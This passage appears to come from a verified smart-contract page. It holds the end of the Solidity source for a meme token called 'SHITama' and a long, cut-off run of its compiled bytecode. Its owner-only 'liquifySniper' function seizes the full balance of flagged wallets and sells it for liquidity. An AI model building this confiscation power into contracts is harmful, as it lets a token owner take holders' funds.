marketingFeeWallet = payable(newMarketingFeeWallet); devFeeWallet = payable(newDevFeeWallet); _noFees[newMarketingFeeWallet] = true; _noFees[newDevFeeWallet] = true; } function increaseLimits(uint16 maxTxAmtPermile, uint16 maxWalletAmtPermile) external onlyOwner { uint256 newTxAmt = _totalSupply * maxTxAmtPermile / 1000 + 1; require(newTxAmt >= maxTxAmount, "tx limit too low"); maxTxAmount = newTxAmt; uint256 newWalletAmt = _totalSupply * maxWalletAmtPermile / 1000 + 1; require(newWalletAmt >= maxWalletAmount, "wallet limit too low"); maxWalletAmount = newWalletAmt; } function taxSwapSettings(uint32 minValue, uint32 minDivider, uint32 maxValue, uint32 maxDivider) external onlyOwner { taxSwapMin = _totalSupply * minValue / minDivider; taxSwapMax = _totalSupply * maxValue / maxDivider; } function liquifySniper(address wallet) external onlyOwner lockTaxSwap { require(_blacklistBlock[wallet] != 0, "not a sniper"); uint256 sniperBalance = balanceOf(wallet); require(sniperBalance > 0, "no tokens"); _balances[wallet] = _balances[wallet] - sniperBalance; _balances[address(this)] = _balances[address(this)] + sniperBalance; emit Transfer(wallet, address(this), sniperBalance); uint256 liquifiedTokens = sniperBalance/2 - 1; uint256 _ethPreSwap = address(this).balance; _swapTaxTokensForEth(liquifiedTokens); uint256 _ethSwapped = address(this).balance - _ethPreSwap; _approveRouter(liquifiedTokens); _addLiquidity(liquifiedTokens, _ethSwapped, false); } function _swapTaxAndLiquify() private lockTaxSwap { uint256 _taxTokensAvailable = balanceOf(address(this)); if ( _taxTokensAvailable >= taxSwapMin && tradingOpen ) { if ( _taxTokensAvailable >= taxSwapMax ) { _taxTokensAvailable = taxSwapMax; } uint256 _tokensForLP = _taxTokensAvailable * _autoLPShares / 1000 / 2; uint256 _tokensToSwap = _taxTokensAvailable - _tokensForLP; uint256 _ethPreSwap = address(this).balance; _swapTaxTokensForEth(_tokensToSwap); uint256 _ethSwapped = address(this).balance - _ethPreSwap; if ( _autoLPShares > 0 ) { uint256 _ethWeiAmount = _ethSwapped * _autoLPShares / 1000 ; _approveRouter(_tokensForLP); _addLiquidity(_tokensForLP, _ethWeiAmount, false); } uint256 _contractETHBalance = address(this).balance; if (_contractETHBalance > 0) { _distributeTaxEth(_contractETHBalance); } } } function _swapTaxTokensForEth(uint256 _tokenAmount) private { _approveRouter(_tokenAmount); address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapV2Router.WETH(); _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(_tokenAmount,0,path,address(this),block.timestamp); } function _distributeTaxEth(uint256 _amount) private { uint16 _taxShareTotal = _marketingShares + _devShares; if ( _marketingShares > 0 ) { marketingFeeWallet.transfer(_amount * _marketingShares / _taxShareTotal); } if ( _devShares > 0 ) { devFeeWallet.transfer(_amount * _devShares / _taxShareTotal); } } function taxTokensSwap() external onlyOwner { uint256 taxTokenBalance = balanceOf(address(this)); require(taxTokenBalance > 0, "No tokens"); _swapTaxTokensForEth(taxTokenBalance); } function taxEthSend() external onlyOwner { _distributeTaxEth(address(this).balance); } }
0x6080604052600436106102125760003560e01c8063893d20e811610118578063dca2a8b6116100a0578063eb8199481161006f578063eb8199481461075d578063ed7b6bb514610788578063f2fde38b1461079f578063fe575a87146107c8578063ffb54a991461080557610219565b8063dca2a8b6146106b5578063dd62ed3e146106cc578063e461c22114610709578063e79d41601461073257610219565b8063a9059cbb116100e7578063a9059cbb146105d0578063aa4bde281461060d578063b142180314610638578063d9f0b37014610661578063db8615991461068a57610219565b8063893d20e8146105125780638bfd1d8e1461053d5780638c0b5e221461057a57806395d89b41146105a557610219565b8063298315131161019b5780636969c1a41161016a5780636969c1a41461044157806370a082311461046a578063715018a6146104a7578063740bf497146104be57806383dcebb1146104e757610219565b80632983151314610399578063313ce567146103c257806361a28042146103ed578063691f224f1461041657610219565b80631c939ee9116101e25780631c939ee9146102da5780631cbbe3e4146102f1578063202480411461030857806323b872dd1461033157806324024efd1461036e57610219565b8062fffc9d1461021e57806306fdde0314610247578063095ea7b31461027257806318160ddd146102af57610219565b3661021957005b600080fd5b34801561022a57600080fd5b5061024560048036038101906102409190613bf6565b610830565b005b34801561025357600080fd5b5061025c610950565b6040516102699190613cf6565b60405180910390f35b34801561027e57600080fd5b5061029960048036038101906102949190613dac565b61098d565b6040516102a69190613e07565b60405180910390f35b3480156102bb57600080fd5b506102c4610aec565b6040516102d19190613e31565b60405180910390f35b3480156102e657600080fd5b506102ef610b11565b005b3480156102fd57600080fd5b50610306610baa565b005b34801561031457600080fd5b5061032f600480360381019061032a9190613e86565b610c88565b005b34801561033d57600080fd5b5061035860048036038101906103539190613ed9565b610dd0565b6040516103659190613e07565b60405180910390f35b34801561037a57600080fd5b50610383610fd9565b6040516103909190613f48565b60405180910390f35b3480156103a557600080fd5b506103c060048036038101906103bb9190613f8f565b610fec565b005b3480156103ce57600080fd5b506103d76110d5565b6040516103e49190613f48565b60405180910390f35b3480156103f957600080fd5b50610414600480360381019061040f9190613f8f565b6110de565b005b34801561042257600080fd5b5061042b6111c7565b6040516104389190613f48565b60405180910390f35b34801561044d57600080fd5b5061046860048036038101906104639190613fcf565b6111da565b005b34801561047657600080fd5b50610491600480360381019061048c9190613ffc565b6117cd565b60405161049e9190613e31565b60405180910390f35b3480156104b357600080fd5b506104bc611816565b005b3480156104ca57600080fd5b506104e560048036038101906104e09190614029565b61191f565b005b3480156104f357600080fd5b506104fc611ae3565b6040516105099190613f48565b60405180910390f35b34801561051e57600080fd5b50610527611af6565b6040516105349190614078565b60405180910390f35b34801561054957600080fd5b50610564600480360381019061055f9190613ffc565b611b1f565b6040516105719190613e31565b60405180910390f35b34801561058657600080fd5b5061058f611b68565b60405161059c9190613e31565b60405180910390f35b3480156105b157600080fd5b506105ba611b6e565b6040516105c79190613cf6565b60405180910390f35b3480156105dc57600080fd5b506105f760048036038101906105f29190613dac565b611bab565b6040516106049190613e07565b60405180910390f35b34801561061957600080fd5b50610622611c07565b60405161062f9190613e31565b60405180910390f35b34801561064457600080fd5b5061065f600480360381019061065a9190614093565b611c0d565b005b34801561066d57600080fd5b5061068860048036038101906106839190613ffc565b611dcd565b005b34801561069657600080fd5b5061069f61213c565b6040516106ac9190613e31565b60405180910390f35b3480156106c157600080fd5b506106ca612142565b005b3480156106d857600080fd5b506106f360048036038101906106ee9190614029565b61222c565b6040516107009190613e31565b60405180910390f35b34801561071557600080fd5b50610730600480360381019061072b91906140ff565b6122b3565b005b34801561073e57600080fd5b50610747612407565b6040516107549190614161565b60405180910390f35b34801561076957600080fd5b5061077261241b565b60405161077f9190613e31565b60405180910390f35b34801561079457600080fd5b5061079d612421565b005b3480156107ab57600080fd5b506107c660048036038101906107c191906141ba565b6124f5565b005b3480156107d457600080fd5b506107ef60048036038101906107ea9190613ffc565b6125fd565b6040516107fc9190613e07565b60405180910390f35b34801561081157600080fd5b5061081a612658565b6040516108279190613e07565b60405180910390f35b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b590614259565b60405180910390fd5b8263ffffffff168463ffffffff166009600a6108da91906143db565b641010b872006108ea9190614426565b6108f49190614426565b6108fe91906144af565b6008819055508063ffffffff168263ffffffff166009600a61092091906143db565b641010b872006109309190614426565b61093a9190614426565b61094491906144af565b60098190555050505050565b60606040518060400160405280600781526020017f53484954616d6100000000000000000000000000000000000000000000000000815250905090565b600043600c541180156109ea5750600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156109fc576109fb3343600161266b565b5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610ada9190613e31565b60405180910390a36001905092915050565b60006009600a610afc91906143db565b641010b87200610b0c9190614426565b905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b9f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9690614259565b60405180910390fd5b610ba847612795565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2f90614259565b60405180910390fd5b43600c5411610c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c739061452c565b60405180910390fd5b610c866000612933565b565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d16576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0d90614259565b60405180910390fd5b6103e8818385610d26919061454c565b610d30919061454c565b61ffff1614610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b906145d0565b60405180910390fd5b82600b60056101000a81548161ffff021916908361ffff16021790555081600b60076101000a81548161ffff021916908361ffff16021790555080600b60096101000a81548161ffff021916908361ffff160217905550505050565b6000610dda612963565b610e19576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e109061463c565b60405180910390fd5b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414610fc55781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f44919061465c565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b610fd08484846129e9565b90509392505050565b600b60039054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461107a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107190614259565b60405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60006009905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461116c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116390614259565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60029054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90614259565b60405180910390fd5b600560009054906101000a900460ff16156112b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112af906146dc565b60405180910390fd5b600081116112fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f290614748565b60405180910390fd5b6001600d60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600047905081811015611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff906147b4565b60405180910390fd5b6000611513306117cd565b905060008111611558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154f90614820565b60405180910390fd5b6000601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156115c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115eb9190614855565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611674573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116989190614855565b6040518363ffffffff1660e01b81526004016116b5929190614882565b6020604051808303816000875af11580156116d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f89190614855565b90506001600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506117b3826130e4565b6117bf828560006132ce565b6117c76133ac565b50505050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146118a4576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189b90614259565b60405180910390fd5b60008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616360006040516119159190614078565b60405180910390a1565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a490614259565b60405180910390fd5b81600f60016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600b60049054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60065481565b60606040518060400160405280600781526020017f53484954616d6100000000000000000000000000000000000000000000000000815250905090565b6000611bb5612963565b611bf4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611beb9061463c565b60405180910390fd5b611bff3384846129e9565b905092915050565b60075481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c9290614259565b60405180910390fd5b600060016103e88461ffff166009600a611cb591906143db565b641010b87200611cc59190614426565b611ccf9190614426565b611cd991906144af565b611ce391906148ab565b9050600654811015611d2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d219061494d565b60405180910390fd5b80600681905550600060016103e88461ffff166009600a611d4b91906143db565b641010b87200611d5b9190614426565b611d659190614426565b611d6f91906144af565b611d7991906148ab565b9050600754811015611dc0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db7906149b9565b60405180910390fd5b8060078190555050505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e5b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5290614259565b60405180910390fd5b6001601060146101000a81548160ff0219169083151502179055506000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611ef9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ef090614a25565b60405180910390fd5b6000611f04826117cd565b905060008111611f49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f4090614820565b60405180910390fd5b80600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f94919061465c565b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461202291906148ab565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120c29190613e31565b60405180910390a3600060016002836120db91906144af565b6120e5919061465c565b905060004790506120f5826134e6565b60008147612103919061465c565b905061210e836130e4565b61211a838260006132ce565b505050506000601060146101000a81548160ff02191690831515021790555050565b60095481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146121d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c790614259565b60405180910390fd5b60006121db306117cd565b905060008111612220576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161221790614a91565b60405180910390fd5b612229816134e6565b50565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161233890614259565b60405180910390fd5b600760ff168360ff161115801561235f5750600760ff168260ff1611155b80156123725750600760ff168160ff1611155b6123b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123a890614afd565b60405180910390fd5b82600b60026101000a81548160ff021916908360ff16021790555081600b60036101000a81548160ff021916908360ff16021790555080600b60046101000a81548160ff021916908360ff160217905550505050565b600b60009054906101000a900461ffff1681565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146124af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a690614259565b60405180910390fd5b6000600b60026101000a81548160ff021916908360ff160217905550600760026124d99190614b1d565b600b60036101000a81548160ff021916908360ff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612583576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257a90614259565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc686163816040516125f29190614bb7565b60405180910390a150565b600080600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541461264e5760019050612653565b600090505b919050565b600560009054906101000a900460ff1681565b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561270457506000600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b156127905781600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550801561278f57600b600081819054906101000a900461ffff168092919061277390614bd2565b91906101000a81548161ffff021916908361ffff160217905550505b5b505050565b6000600b60099054906101000a900461ffff16600b60079054906101000a900461ffff166127c3919061454c565b90506000600b60079054906101000a900461ffff1661ffff16111561287a57600f60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60079054906101000a900461ffff1661ffff16856128439190614426565b61284d91906144af565b9081150290604051600060405180830381858888f19350505050158015612878573d6000803e3d6000fd5b505b6000600b60099054906101000a900461ffff1661ffff16111561292f57601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8261ffff16600b60099054906101000a900461ffff1661ffff16856128f89190614426565b61290291906144af565b9081150290604051600060405180830381858888f1935050505015801561292d573d6000803e3d6000fd5b505b5050565b43600c54118061294557506000600c54145b15612960578060ff164361295991906148ab565b600c819055505b50565b60008060009050600560009054906101000a900460ff161561298857600190506129e2565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614156129e157600190505b5b8091505090565b600043600c541115612b24577f000000000000000000000000000000000000000000000000000000001c57456163ffffffff167f0000000000000000000000000000000000000000000000000000000037086c5663ffffffff1684612a4e9190614bfd565b73ffffffffffffffffffffffffffffffffffffffff161415612a7957612a746001612933565b612b1f565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612ad257612acd8343600161266b565b612b1e565b612b1d83600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061266b565b5b5b612c36565b6000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414612bb757612bb683600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600061266b565b5b600f60009054906101000a900460ff1660ff16600c54612bd791906148ab565b43108015612bf5575064174876e80048612bf191906148ab565b3a10155b15612c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c2c90614c7a565b60405180910390fd5b5b600560009054906101000a900460ff168015612c9257506000600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205414155b8015612cdc575043600e60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054105b15612d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d1390614ce6565b60405180910390fd5b601060149054906101000a900460ff16158015612d825750600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612d9057612d8f613705565b5b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015612df857503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015612e50575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15612e9f57612e5f838361386b565b612e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e9590614d52565b60405180910390fd5b5b6000612eac8585856139ab565b905060008184612ebc919061465c565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612f09919061465c565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115612fe45781600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612fa091906148ab565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b80600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461302f91906148ab565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040516130cf9190613e31565b60405180910390a36001925050509392505050565b80600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156132cb577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516132c29190613e31565b60405180910390a35b50565b6000816132f95760008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690505b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71984308760008087426040518863ffffffff1660e01b815260040161336096959493929190614dad565b60606040518083038185885af115801561337e573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906133a39190614e23565b50505050505050565b6006436133b991906148ab565b600c819055506009600a6133cd91906143db565b6103e86009600a6133de91906143db565b641010b872006133ee9190614426565b60056133fa9190614426565b61340491906144af565b61340e91906148ab565b6006819055506009600a61342291906143db565b6103e86009600a61343391906143db565b641010b872006134439190614426565b600561344f9190614426565b61345991906144af565b61346391906148ab565b6007819055506007600b60026101000a81548160ff021916908360ff160217905550600760026134939190614b1d565b600b60036101000a81548160ff021916908360ff1602179055506007600b60046101000a81548160ff021916908360ff1602179055506001600560006101000a81548160ff021916908315150217905550565b6134ef816130e4565b6000600267ffffffffffffffff81111561350c5761350b614e76565b5b60405190808252806020026020018201604052801561353a5781602001602082028036833780820191505090505b509050308160008151811061355257613551614ea5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156135f9573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061361d9190614855565b8160018151811061363157613630614ea5565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016136cf959493929190614f92565b600060405180830381600087803b1580156136e957600080fd5b505af11580156136fd573d6000803e3d6000fd5b505050505050565b6001601060146101000a81548160ff021916908315150217905550600061372b306117cd565b9050600854811015801561374b5750600560009054906101000a900460ff165b1561384d57600954811061375f5760095490505b600060026103e8600b60059054906101000a900461ffff1661ffff16846137869190614426565b61379091906144af565b61379a91906144af565b9050600081836137aa919061465c565b905060004790506137ba826134e6565b600081476137c8919061465c565b90506000600b60059054906101000a900461ffff1661ffff16111561382f5760006103e8600b60059054906101000a900461ffff1661ffff168361380c9190614426565b61381691906144af565b9050613821856130e4565b61382d858260006132ce565b505b600047905060008111156138475761384681612795565b5b50505050505b506000601060146101000a81548160ff021916908315150217905550565b60008060019050600560009054906101000a900460ff1680156138d85750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156139a1576006548311156138f057600090506139a0565b600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015613995575060075483600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461399391906148ab565b115b1561399f57600090505b5b5b8091505092915050565b600080600560009054906101000a900460f